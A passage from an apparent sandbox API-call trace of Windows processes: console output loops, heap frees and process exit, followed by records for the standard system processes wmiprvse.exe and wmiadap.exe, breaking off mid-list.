(lpString="\x081") returned 2 [0174.140] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x14fafc*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x14f864, lpReserved=0x0 | out: lpBuffer=0x14fafc*, lpNumberOfCharsWritten=0x14f864*=0x2) returned 1 [0174.140] Sleep (dwMilliseconds=0x64) [0174.246] PeekConsoleInputW (in: hConsoleInput=0x3, lpBuffer=0x14f8a0, nLength=0x2, lpNumberOfEventsRead=0x14f8e4 | out: lpBuffer=0x14f8a0, lpNumberOfEventsRead=0x14f8e4) returned 1 [0174.247] time (in: timer=0x14f8fc | out: timer=0x14f8fc) returned 0x5fa9e421 [0174.247] Sleep (dwMilliseconds=0x64) [0174.355] PeekConsoleInputW (in: hConsoleInput=0x3, lpBuffer=0x14f8a0, nLength=0x2, lpNumberOfEventsRead=0x14f8e4 | out: lpBuffer=0x14f8a0, lpNumberOfEventsRead=0x14f8e4) returned 1 [0174.355] time (in: timer=0x14f8fc | out: timer=0x14f8fc) returned 0x5fa9e421 [0174.355] Sleep (dwMilliseconds=0x64) [0174.466] PeekConsoleInputW (in: hConsoleInput=0x3, lpBuffer=0x14f8a0, nLength=0x2, lpNumberOfEventsRead=0x14f8e4 | out: lpBuffer=0x14f8a0, lpNumberOfEventsRead=0x14f8e4) returned 1 [0174.467] time (in: timer=0x14f8fc | out: timer=0x14f8fc) returned 0x5fa9e421 [0174.467] Sleep (dwMilliseconds=0x64) [0174.585] PeekConsoleInputW (in: hConsoleInput=0x3, lpBuffer=0x14f8a0, nLength=0x2, lpNumberOfEventsRead=0x14f8e4 | out: lpBuffer=0x14f8a0, lpNumberOfEventsRead=0x14f8e4) returned 1 [0174.585] time (in: timer=0x14f8fc | out: timer=0x14f8fc) returned 0x5fa9e421 [0174.585] Sleep (dwMilliseconds=0x64) [0174.682] PeekConsoleInputW (in: hConsoleInput=0x3, lpBuffer=0x14f8a0, nLength=0x2, lpNumberOfEventsRead=0x14f8e4 | out: lpBuffer=0x14f8a0, lpNumberOfEventsRead=0x14f8e4) returned 1 [0174.683] time (in: timer=0x14f8fc | out: timer=0x14f8fc) returned 0x5fa9e421 [0174.683] Sleep (dwMilliseconds=0x64) [0174.793] PeekConsoleInputW (in: hConsoleInput=0x3, lpBuffer=0x14f8a0, nLength=0x2, lpNumberOfEventsRead=0x14f8e4 | out: lpBuffer=0x14f8a0, lpNumberOfEventsRead=0x14f8e4) returned 1 [0174.793] time (in: timer=0x14f8fc | out: timer=0x14f8fc) returned 0x5fa9e421 [0174.793] Sleep (dwMilliseconds=0x64) [0174.901] PeekConsoleInputW (in: hConsoleInput=0x3, lpBuffer=0x14f8a0, nLength=0x2, lpNumberOfEventsRead=0x14f8e4 | out: lpBuffer=0x14f8a0, lpNumberOfEventsRead=0x14f8e4) returned 1 [0174.902] time (in: timer=0x14f8fc | out: timer=0x14f8fc) returned 0x5fa9e421 [0174.902] Sleep (dwMilliseconds=0x64) [0175.010] PeekConsoleInputW (in: hConsoleInput=0x3, lpBuffer=0x14f8a0, nLength=0x2, lpNumberOfEventsRead=0x14f8e4 | out: lpBuffer=0x14f8a0, lpNumberOfEventsRead=0x14f8e4) returned 1 [0175.010] time (in: timer=0x14f8fc | out: timer=0x14f8fc) returned 0x5fa9e421 [0175.010] Sleep (dwMilliseconds=0x64) [0175.122] PeekConsoleInputW (in: hConsoleInput=0x3, lpBuffer=0x14f8a0, nLength=0x2, lpNumberOfEventsRead=0x14f8e4 | out: lpBuffer=0x14f8a0, lpNumberOfEventsRead=0x14f8e4) returned 1 [0175.123] time (in: timer=0x14f8fc | out: timer=0x14f8fc) returned 0x5fa9e422 [0175.123] _vsnwprintf (in: _Buffer=0x14fafc, _BufferCount=0xfd, _Format="%s%*lu", _ArgList=0x14f870 | out: _Buffer="\x080") returned 2 [0175.123] SetConsoleCursorPosition (hConsoleOutput=0x7, dwCursorPosition=0x1000d) returned 1 [0175.123] __iob_func () returned 0x75982900 [0175.123] _fileno (_File=0x75982920) returned 1 [0175.123] _errno () returned 0x6007d8 [0175.123] _get_osfhandle (_FileHandle=1) returned 0x7 [0175.123] _errno () returned 0x6007d8 [0175.123] GetFileType (hFile=0x7) returned 0x2 [0175.123] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0175.123] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x14f83c | out: lpMode=0x14f83c) returned 1 [0175.123] __iob_func () returned 0x75982900 [0175.123] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0175.124] lstrlenW (lpString="\x080") returned 2 [0175.124] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x14fafc*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x14f864, lpReserved=0x0 | out: lpBuffer=0x14fafc*, lpNumberOfCharsWritten=0x14f864*=0x2) returned 1 [0175.124] Sleep (dwMilliseconds=0x64) [0175.228] __iob_func () returned 0x75982900 [0175.228] _fileno (_File=0x75982920) returned 1 [0175.228] _errno () returned 0x6007d8 [0175.228] _get_osfhandle (_FileHandle=1) returned 0x7 [0175.229] _errno () returned 0x6007d8 [0175.229] GetFileType (hFile=0x7) returned 0x2 [0175.229] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0175.229] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x14f83c | out: lpMode=0x14f83c) returned 1 [0175.229] __iob_func () returned 0x75982900 [0175.229] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0175.229] lstrlenW (lpString="\n") returned 1 [0175.229] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0xe311c8*, nNumberOfCharsToWrite=0x1, lpNumberOfCharsWritten=0x14f864, lpReserved=0x0 | out: lpBuffer=0xe311c8*, lpNumberOfCharsWritten=0x14f864*=0x1) returned 1 [0175.229] GetProcessHeap () returned 0x3d0000 [0175.230] GetProcessHeap () returned 0x3d0000 [0175.230] HeapValidate (hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3e6560) returned 1 [0175.230] GetProcessHeap () returned 0x3d0000 [0175.230] RtlSizeHeap (HeapHandle=0x3d0000, Flags=0x0, MemoryPointer=0x3e6560) returned 0xa0 [0175.230] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3e6560 | out: hHeap=0x3d0000) returned 1 [0175.230] GetProcessHeap () returned 0x3d0000 [0175.230] GetProcessHeap () returned 0x3d0000 [0175.230] HeapValidate (hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3df390) returned 1 [0175.230] GetProcessHeap () returned 0x3d0000 [0175.230] RtlSizeHeap (HeapHandle=0x3d0000, Flags=0x0, MemoryPointer=0x3df390) returned 0x10 [0175.230] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3df390 | out: hHeap=0x3d0000) returned 1 [0175.230] GetProcessHeap () returned 0x3d0000 [0175.230] GetProcessHeap () returned 0x3d0000 [0175.230] HeapValidate (hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3e5280) returned 1 [0175.230] GetProcessHeap () returned 0x3d0000 [0175.230] RtlSizeHeap (HeapHandle=0x3d0000, Flags=0x0, MemoryPointer=0x3e5280) returned 0x14 [0175.230] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3e5280 | out: hHeap=0x3d0000) returned 1 [0175.230] GetProcessHeap () returned 0x3d0000 [0175.230] GetProcessHeap () returned 0x3d0000 [0175.230] HeapValidate (hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3e3cd0) returned 1 [0175.230] GetProcessHeap () returned 0x3d0000 [0175.230] RtlSizeHeap (HeapHandle=0x3d0000, Flags=0x0, MemoryPointer=0x3e3cd0) returned 0x4 [0175.230] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3e3cd0 | out: hHeap=0x3d0000) returned 1 [0175.230] GetProcessHeap () returned 0x3d0000 [0175.230] GetProcessHeap () returned 0x3d0000 [0175.230] HeapValidate (hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3df3c0) returned 1 [0175.230] GetProcessHeap () returned 0x3d0000 [0175.230] RtlSizeHeap (HeapHandle=0x3d0000, Flags=0x0, MemoryPointer=0x3df3c0) returned 0x10 [0175.231] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3df3c0 | out: hHeap=0x3d0000) returned 1 [0175.231] GetProcessHeap () returned 0x3d0000 [0175.231] GetProcessHeap () returned 0x3d0000 [0175.231] HeapValidate (hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3e5260) returned 1 [0175.231] GetProcessHeap () returned 0x3d0000 [0175.231] RtlSizeHeap (HeapHandle=0x3d0000, Flags=0x0, MemoryPointer=0x3e5260) returned 0x14 [0175.231] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3e5260 | out: hHeap=0x3d0000) returned 1 [0175.231] GetProcessHeap () returned 0x3d0000 [0175.231] GetProcessHeap () returned 0x3d0000 [0175.231] HeapValidate (hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3e5948) returned 1 [0175.231] GetProcessHeap () returned 0x3d0000 [0175.231] RtlSizeHeap (HeapHandle=0x3d0000, Flags=0x0, MemoryPointer=0x3e5948) returned 0x208 [0175.231] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3e5948 | out: hHeap=0x3d0000) returned 1 [0175.231] GetProcessHeap () returned 0x3d0000 [0175.231] GetProcessHeap () returned 0x3d0000 [0175.231] HeapValidate (hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3df378) returned 1 [0175.231] GetProcessHeap () returned 0x3d0000 [0175.231] RtlSizeHeap (HeapHandle=0x3d0000, Flags=0x0, MemoryPointer=0x3df378) returned 0x10 [0175.231] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3df378 | out: hHeap=0x3d0000) returned 1 [0175.231] GetProcessHeap () returned 0x3d0000 [0175.231] GetProcessHeap () returned 0x3d0000 [0175.231] HeapValidate (hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3e51e0) returned 1 [0175.231] GetProcessHeap () returned 0x3d0000 [0175.231] RtlSizeHeap (HeapHandle=0x3d0000, Flags=0x0, MemoryPointer=0x3e51e0) returned 0x14 [0175.231] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3e51e0 | out: hHeap=0x3d0000) returned 1 [0175.231] GetProcessHeap () returned 0x3d0000 [0175.231] GetProcessHeap () returned 0x3d0000 [0175.231] HeapValidate (hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3e6608) returned 1 [0175.231] GetProcessHeap () returned 0x3d0000 [0175.231] RtlSizeHeap (HeapHandle=0x3d0000, Flags=0x0, MemoryPointer=0x3e6608) returned 0x200 [0175.231] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3e6608 | out: hHeap=0x3d0000) returned 1 [0175.232] GetProcessHeap () returned 0x3d0000 [0175.232] GetProcessHeap () returned 0x3d0000 [0175.232] HeapValidate (hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3df3a8) returned 1 [0175.232] GetProcessHeap () returned 0x3d0000 [0175.232] RtlSizeHeap (HeapHandle=0x3d0000, Flags=0x0, MemoryPointer=0x3df3a8) returned 0x10 [0175.232] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3df3a8 | out: hHeap=0x3d0000) returned 1 [0175.232] GetProcessHeap () returned 0x3d0000 [0175.232] GetProcessHeap () returned 0x3d0000 [0175.232] HeapValidate (hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3e5180) returned 1 [0175.232] GetProcessHeap () returned 0x3d0000 [0175.232] RtlSizeHeap (HeapHandle=0x3d0000, Flags=0x0, MemoryPointer=0x3e5180) returned 0x14 [0175.232] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3e5180 | out: hHeap=0x3d0000) returned 1 [0175.232] GetProcessHeap () returned 0x3d0000 [0175.232] GetProcessHeap () returned 0x3d0000 [0175.232] HeapValidate (hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3e3cc0) returned 1 [0175.232] GetProcessHeap () returned 0x3d0000 [0175.232] RtlSizeHeap (HeapHandle=0x3d0000, Flags=0x0, MemoryPointer=0x3e3cc0) returned 0x2 [0175.232] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3e3cc0 | out: hHeap=0x3d0000) returned 1 [0175.232] GetProcessHeap () returned 0x3d0000 [0175.232] GetProcessHeap () returned 0x3d0000 [0175.232] HeapValidate (hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3e3b90) returned 1 [0175.232] GetProcessHeap () returned 0x3d0000 [0175.232] RtlSizeHeap (HeapHandle=0x3d0000, Flags=0x0, MemoryPointer=0x3e3b90) returned 0x14 [0175.232] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3e3b90 | out: hHeap=0x3d0000) returned 1 [0175.232] GetProcessHeap () returned 0x3d0000 [0175.232] GetProcessHeap () returned 0x3d0000 [0175.232] HeapValidate (hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3e3bb0) returned 1 [0175.232] GetProcessHeap () returned 0x3d0000 [0175.232] RtlSizeHeap (HeapHandle=0x3d0000, Flags=0x0, MemoryPointer=0x3e3bb0) returned 0x14 [0175.232] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3e3bb0 | out: hHeap=0x3d0000) returned 1 [0175.232] GetProcessHeap () returned 0x3d0000 [0175.232] GetProcessHeap () returned 0x3d0000 [0175.232] HeapValidate (hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3e4fe8) returned 1 [0175.232] GetProcessHeap () returned 0x3d0000 [0175.232] RtlSizeHeap (HeapHandle=0x3d0000, Flags=0x0, MemoryPointer=0x3e4fe8) returned 0x14 [0175.233] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3e4fe8 | out: hHeap=0x3d0000) returned 1 [0175.233] GetProcessHeap () returned 0x3d0000 [0175.233] GetProcessHeap () returned 0x3d0000 [0175.233] HeapValidate (hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3e5008) returned 1 [0175.233] GetProcessHeap () returned 0x3d0000 [0175.233] RtlSizeHeap (HeapHandle=0x3d0000, Flags=0x0, MemoryPointer=0x3e5008) returned 0x14 [0175.233] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3e5008 | out: hHeap=0x3d0000) returned 1 [0175.233] GetProcessHeap () returned 0x3d0000 [0175.233] GetProcessHeap () returned 0x3d0000 [0175.233] HeapValidate (hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3e52a0) returned 1 [0175.233] GetProcessHeap () returned 0x3d0000 [0175.233] RtlSizeHeap (HeapHandle=0x3d0000, Flags=0x0, MemoryPointer=0x3e52a0) returned 0x14 [0175.233] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3e52a0 | out: hHeap=0x3d0000) returned 1 [0175.233] GetProcessHeap () returned 0x3d0000 [0175.233] GetProcessHeap () returned 0x3d0000 [0175.233] HeapValidate (hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3e52c0) returned 1 [0175.233] GetProcessHeap () returned 0x3d0000 [0175.233] RtlSizeHeap (HeapHandle=0x3d0000, Flags=0x0, MemoryPointer=0x3e52c0) returned 0x14 [0175.233] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3e52c0 | out: hHeap=0x3d0000) returned 1 [0175.233] GetProcessHeap () returned 0x3d0000 [0175.233] GetProcessHeap () returned 0x3d0000 [0175.233] HeapValidate (hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3e6810) returned 1 [0175.233] GetProcessHeap () returned 0x3d0000 [0175.233] RtlSizeHeap (HeapHandle=0x3d0000, Flags=0x0, MemoryPointer=0x3e6810) returned 0x30 [0175.233] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3e6810 | out: hHeap=0x3d0000) returned 1 [0175.233] GetProcessHeap () returned 0x3d0000 [0175.233] GetProcessHeap () returned 0x3d0000 [0175.233] HeapValidate (hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3e52e0) returned 1 [0175.233] GetProcessHeap () returned 0x3d0000 [0175.233] RtlSizeHeap (HeapHandle=0x3d0000, Flags=0x0, MemoryPointer=0x3e52e0) returned 0x14 [0175.233] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3e52e0 | out: hHeap=0x3d0000) returned 1 [0175.233] GetProcessHeap () returned 0x3d0000 [0175.233] GetProcessHeap () returned 0x3d0000 [0175.233] HeapValidate (hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3e5b58) returned 1 [0175.233] GetProcessHeap () returned 0x3d0000 [0175.234] RtlSizeHeap (HeapHandle=0x3d0000, Flags=0x0, MemoryPointer=0x3e5b58) returned 0x24 [0175.234] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3e5b58 | out: hHeap=0x3d0000) returned 1 [0175.234] GetProcessHeap () returned 0x3d0000 [0175.234] GetProcessHeap () returned 0x3d0000 [0175.234] HeapValidate (hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3e5300) returned 1 [0175.234] GetProcessHeap () returned 0x3d0000 [0175.234] RtlSizeHeap (HeapHandle=0x3d0000, Flags=0x0, MemoryPointer=0x3e5300) returned 0x14 [0175.234] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3e5300 | out: hHeap=0x3d0000) returned 1 [0175.234] GetProcessHeap () returned 0x3d0000 [0175.234] GetProcessHeap () returned 0x3d0000 [0175.234] HeapValidate (hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3e5b88) returned 1 [0175.234] GetProcessHeap () returned 0x3d0000 [0175.234] RtlSizeHeap (HeapHandle=0x3d0000, Flags=0x0, MemoryPointer=0x3e5b88) returned 0x4c [0175.234] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3e5b88 | out: hHeap=0x3d0000) returned 1 [0175.234] GetProcessHeap () returned 0x3d0000 [0175.234] GetProcessHeap () returned 0x3d0000 [0175.234] HeapValidate (hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3e5320) returned 1 [0175.234] GetProcessHeap () returned 0x3d0000 [0175.234] RtlSizeHeap (HeapHandle=0x3d0000, Flags=0x0, MemoryPointer=0x3e5320) returned 0x14 [0175.234] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3e5320 | out: hHeap=0x3d0000) returned 1 [0175.234] GetProcessHeap () returned 0x3d0000 [0175.234] GetProcessHeap () returned 0x3d0000 [0175.234] HeapValidate (hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3df330) returned 1 [0175.234] GetProcessHeap () returned 0x3d0000 [0175.234] RtlSizeHeap (HeapHandle=0x3d0000, Flags=0x0, MemoryPointer=0x3df330) returned 0x10 [0175.234] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3df330 | out: hHeap=0x3d0000) returned 1 [0175.234] GetProcessHeap () returned 0x3d0000 [0175.234] GetProcessHeap () returned 0x3d0000 [0175.234] HeapValidate (hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3e5028) returned 1 [0175.234] GetProcessHeap () returned 0x3d0000 [0175.234] RtlSizeHeap (HeapHandle=0x3d0000, Flags=0x0, MemoryPointer=0x3e5028) returned 0x14 [0175.234] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3e5028 | out: hHeap=0x3d0000) returned 1 [0175.234] GetProcessHeap () returned 0x3d0000 [0175.234] GetProcessHeap () returned 0x3d0000 [0175.234] HeapValidate (hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3e5048) returned 1 [0175.234] GetProcessHeap () returned 0x3d0000 [0175.234] RtlSizeHeap (HeapHandle=0x3d0000, Flags=0x0, MemoryPointer=0x3e5048) returned 0x14 [0175.235] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3e5048 | out: hHeap=0x3d0000) returned 1 [0175.235] GetProcessHeap () returned 0x3d0000 [0175.235] GetProcessHeap () returned 0x3d0000 [0175.235] HeapValidate (hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3e5068) returned 1 [0175.235] GetProcessHeap () returned 0x3d0000 [0175.235] RtlSizeHeap (HeapHandle=0x3d0000, Flags=0x0, MemoryPointer=0x3e5068) returned 0x14 [0175.235] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3e5068 | out: hHeap=0x3d0000) returned 1 [0175.235] GetProcessHeap () returned 0x3d0000 [0175.235] GetProcessHeap () returned 0x3d0000 [0175.235] HeapValidate (hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3e5088) returned 1 [0175.235] GetProcessHeap () returned 0x3d0000 [0175.235] RtlSizeHeap (HeapHandle=0x3d0000, Flags=0x0, MemoryPointer=0x3e5088) returned 0x14 [0175.235] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3e5088 | out: hHeap=0x3d0000) returned 1 [0175.235] GetProcessHeap () returned 0x3d0000 [0175.235] GetProcessHeap () returned 0x3d0000 [0175.235] HeapValidate (hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3df348) returned 1 [0175.235] GetProcessHeap () returned 0x3d0000 [0175.235] RtlSizeHeap (HeapHandle=0x3d0000, Flags=0x0, MemoryPointer=0x3df348) returned 0x10 [0175.235] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3df348 | out: hHeap=0x3d0000) returned 1 [0175.235] GetProcessHeap () returned 0x3d0000 [0175.235] GetProcessHeap () returned 0x3d0000 [0175.235] HeapValidate (hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3e50a8) returned 1 [0175.235] GetProcessHeap () returned 0x3d0000 [0175.235] RtlSizeHeap (HeapHandle=0x3d0000, Flags=0x0, MemoryPointer=0x3e50a8) returned 0x14 [0175.235] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3e50a8 | out: hHeap=0x3d0000) returned 1 [0175.235] GetProcessHeap () returned 0x3d0000 [0175.235] GetProcessHeap () returned 0x3d0000 [0175.235] HeapValidate (hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3e50c8) returned 1 [0175.235] GetProcessHeap () returned 0x3d0000 [0175.235] RtlSizeHeap (HeapHandle=0x3d0000, Flags=0x0, MemoryPointer=0x3e50c8) returned 0x14 [0175.235] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3e50c8 | out: hHeap=0x3d0000) returned 1 [0175.235] GetProcessHeap () returned 0x3d0000 [0175.235] GetProcessHeap () returned 0x3d0000 [0175.235] HeapValidate (hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3e50e8) returned 1 [0175.235] GetProcessHeap () returned 0x3d0000 [0175.236] RtlSizeHeap (HeapHandle=0x3d0000, Flags=0x0, MemoryPointer=0x3e50e8) returned 0x14 [0175.236] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3e50e8 | out: hHeap=0x3d0000) returned 1 [0175.236] GetProcessHeap () returned 0x3d0000 [0175.236] GetProcessHeap () returned 0x3d0000 [0175.236] HeapValidate (hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3e5108) returned 1 [0175.236] GetProcessHeap () returned 0x3d0000 [0175.236] RtlSizeHeap (HeapHandle=0x3d0000, Flags=0x0, MemoryPointer=0x3e5108) returned 0x14 [0175.236] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3e5108 | out: hHeap=0x3d0000) returned 1 [0175.236] GetProcessHeap () returned 0x3d0000 [0175.236] GetProcessHeap () returned 0x3d0000 [0175.236] HeapValidate (hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3e5160) returned 1 [0175.236] GetProcessHeap () returned 0x3d0000 [0175.236] RtlSizeHeap (HeapHandle=0x3d0000, Flags=0x0, MemoryPointer=0x3e5160) returned 0x14 [0175.236] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3e5160 | out: hHeap=0x3d0000) returned 1 [0175.236] GetProcessHeap () returned 0x3d0000 [0175.236] GetProcessHeap () returned 0x3d0000 [0175.236] HeapValidate (hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3e51a0) returned 1 [0175.236] GetProcessHeap () returned 0x3d0000 [0175.236] RtlSizeHeap (HeapHandle=0x3d0000, Flags=0x0, MemoryPointer=0x3e51a0) returned 0x14 [0175.236] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3e51a0 | out: hHeap=0x3d0000) returned 1 [0175.236] GetProcessHeap () returned 0x3d0000 [0175.236] GetProcessHeap () returned 0x3d0000 [0175.236] HeapValidate (hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3e51c0) returned 1 [0175.236] GetProcessHeap () returned 0x3d0000 [0175.236] RtlSizeHeap (HeapHandle=0x3d0000, Flags=0x0, MemoryPointer=0x3e51c0) returned 0x14 [0175.236] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3e51c0 | out: hHeap=0x3d0000) returned 1 [0175.236] GetProcessHeap () returned 0x3d0000 [0175.236] GetProcessHeap () returned 0x3d0000 [0175.236] HeapValidate (hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3e5220) returned 1 [0175.236] GetProcessHeap () returned 0x3d0000 [0175.236] RtlSizeHeap (HeapHandle=0x3d0000, Flags=0x0, MemoryPointer=0x3e5220) returned 0x14 [0175.236] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3e5220 | out: hHeap=0x3d0000) returned 1 [0175.236] GetProcessHeap () returned 0x3d0000 [0175.236] GetProcessHeap () returned 0x3d0000 [0175.236] HeapValidate (hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3e5240) returned 1 [0175.236] GetProcessHeap () returned 0x3d0000 [0175.236] RtlSizeHeap (HeapHandle=0x3d0000, Flags=0x0, MemoryPointer=0x3e5240) returned 0x14 [0175.237] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3e5240 | out: hHeap=0x3d0000) returned 1 [0175.237] GetProcessHeap () returned 0x3d0000 [0175.237] GetProcessHeap () returned 0x3d0000 [0175.237] HeapValidate (hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3df360) returned 1 [0175.237] GetProcessHeap () returned 0x3d0000 [0175.237] RtlSizeHeap (HeapHandle=0x3d0000, Flags=0x0, MemoryPointer=0x3df360) returned 0x10 [0175.237] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3df360 | out: hHeap=0x3d0000) returned 1 [0175.237] GetProcessHeap () returned 0x3d0000 [0175.237] GetProcessHeap () returned 0x3d0000 [0175.237] HeapValidate (hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3e5128) returned 1 [0175.237] GetProcessHeap () returned 0x3d0000 [0175.237] RtlSizeHeap (HeapHandle=0x3d0000, Flags=0x0, MemoryPointer=0x3e5128) returned 0x14 [0175.237] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3e5128 | out: hHeap=0x3d0000) returned 1 [0175.237] GetProcessHeap () returned 0x3d0000 [0175.237] GetProcessHeap () returned 0x3d0000 [0175.237] HeapValidate (hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3df318) returned 1 [0175.237] GetProcessHeap () returned 0x3d0000 [0175.237] RtlSizeHeap (HeapHandle=0x3d0000, Flags=0x0, MemoryPointer=0x3df318) returned 0x10 [0175.237] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3df318 | out: hHeap=0x3d0000) returned 1 [0175.237] SetConsoleCtrlHandler (HandlerRoutine=0x0, Add=0) returned 1 [0175.237] exit (_Code=0) Process: id = "16" image_name = "wmiprvse.exe" filename = "c:\\windows\\system32\\wbem\\wmiprvse.exe" page_root = "0x66089000" os_pid = "0xc64" os_integrity_level = "0x4000" os_privileges = "0x60800000" monitor_reason = "rpc_server" parent_id = "7" os_parent_pid = "0x250" cmd_line = "C:\\Windows\\system32\\wbem\\wmiprvse.exe -secured -Embedding" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\Network Service" bitness = "32" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "WMI (Network Service)" [0xf], "NT AUTHORITY\\Logon Session 00000000:0007aee5" [0xc000000f] Thread: id = 203 os_tid = 0x214 Thread: id = 204 os_tid = 0x320 Thread: id = 205 os_tid = 0x770 Thread: id = 206 os_tid = 0x2c4 Thread: id = 207 os_tid = 0x20c Thread: id = 208 os_tid = 0xb78 Thread: id = 209 os_tid = 0xa88 Thread: id = 210 os_tid = 0x140 Thread: id = 223 os_tid = 0x904 Process: id = "17" image_name = "wmiadap.exe" filename = "c:\\windows\\system32\\wbem\\wmiadap.exe" page_root = "0x65255000" os_pid = "0x318" os_integrity_level = "0x4000" os_privileges = "0xe60b1e890" monitor_reason = "child_process" parent_id = "7" os_parent_pid = "0x364" cmd_line = "wmiadap.exe /F /T /R" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\SYSTEM" bitness = "32" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\BDESVC" [0xa], "NT SERVICE\\BITS" [0xe], "NT SERVICE\\CertPropSvc" [0xa], "NT 